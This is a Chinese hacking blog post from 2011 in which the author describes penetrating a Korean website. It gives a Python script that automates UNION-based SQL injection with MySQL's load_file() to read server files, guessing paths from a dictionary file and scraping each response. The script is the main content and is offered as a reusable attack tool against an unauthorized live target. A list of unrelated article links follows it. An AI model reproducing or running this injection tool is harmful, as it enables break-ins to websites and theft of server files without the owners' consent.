Python in Hacking[LOAD_FILE() Helper]
2011-01-07 11:34
267 查看
Pnig0s p.s: 渗透一韩国站,遭遇Mysql4,好在有FILE权限只能批量LOAD_FILE路径,为了避免繁重的工作量写了这个脚本,字典文件名为dic.txt路径一行一个,因为环境不同,此脚本并非通用,稍作改动即可。复制代码请务必在普通IE下复制
本文出自 “About:Blank H4cking” 博客,请务必保留此出处http://pnig0s1992.blog.51cto.com/393390/473735
#!/usr/bin/python # -*- coding:utf-8 -*- ######################################## # Coder:Pnig0s1992 # A script to auto use the LOAD_FILE() # GTalk:pnigos70@gmail.com #Blog:http://pnig0s1992.blog.51cto.com/ # ######################################## import urllib import binascii import string import os def guessPath(): fi = open('dic.txt','r+') while True: path = fi.readline().strip() if path: url = 'http://www.xxx.co.kr/?mode=view&no=\ 1151 AnD 1=2 UnIon SeleCt 1,2,3,4,5,load_file(0x'+binascii.b2a_hex(str(path))+')' EnUrl=urllib.quote_plus(url,safe=':\'/?&=()|') fd = urllib.urlopen(EnUrl) res = fd.read() Begin = res.rfind('<table width="450" border="0" cellspacing="0" cellpadding="0">') End = res.rfind('<table width="486" border="0" cellspacing="0" cellpadding="0">') tempDate = res[Begin:End] realBegin = tempDate.index('<td>')+4 realEnd = tempDate.index('</td>') checkEmpty = tempDate[realBegin:realEnd].strip() if checkEmpty: print path+' is exists!!!!!!!!!!!' print 'Geting the data......' print checkEmpty os.system('pause') else: print path+' is not exists.' continue else: print 'All has finished...' break if __name__ == '__main__': print '__________Written by Pnig0s1992__________' guessPath()
本文出自 “About:Blank H4cking” 博客,请务必保留此出处http://pnig0s1992.blog.51cto.com/393390/473735
相关文章推荐
- Python load json file with UTF-8 BOM header - Stack Overflow
- Load Information from XML File Contiain Namespce Use ElementTree[Python]
- 从C调用Python脚本unableto load the file system codec ImportError错误解决方法
- Load pickle file(comes from python3) in python2
- python pickle : dump , load variable into a file
- Python load json file with UTF-8 BOM header - Stack Overflow
- Python中fileinput模块介绍
- Unable to load bean: type: class:com.opensymphony.xwork2.ObjectFactory - bean - jar:file:/E:/workspa
- java.lang.UnsupportedClassVersionError: Bad version number in .class file (unable to load class org.
- fatal error: malformed or corrupted AST file: 'Unable to load module Darwin.pcm 问题解决
- 解决ST3 for python 输入关键字print()带出参数print(value, ..., sep, end, file, flush)的解决方法
- 严重: Exception starting filter struts2 Unable to load configuration. - action - file:/D:/workspace/Ec
- 解决 Assembly.LoadFile 文件被锁定的 问题
- Python中Loadlibrary失败, 提示cannot open shared object file
- python学习——python中的文件处理之open()、file()函数
- Python中file.close()方法的使用与否
- watir 学习问题in `require': no such file to load -- watir (LoadError)
- mac下安装mysql-python包报unable to execute llvm-gcc-4.2: No such file or directory error: command 'llvm-gcc-4.2' failed with exit status 1解决方法
- `require': cannot load such file -- bcrypt_ext (LoadError) (window 7+ruby2.33+rails5.0. 下出现的问题)
- Lua dofile loadfile loadstring 区别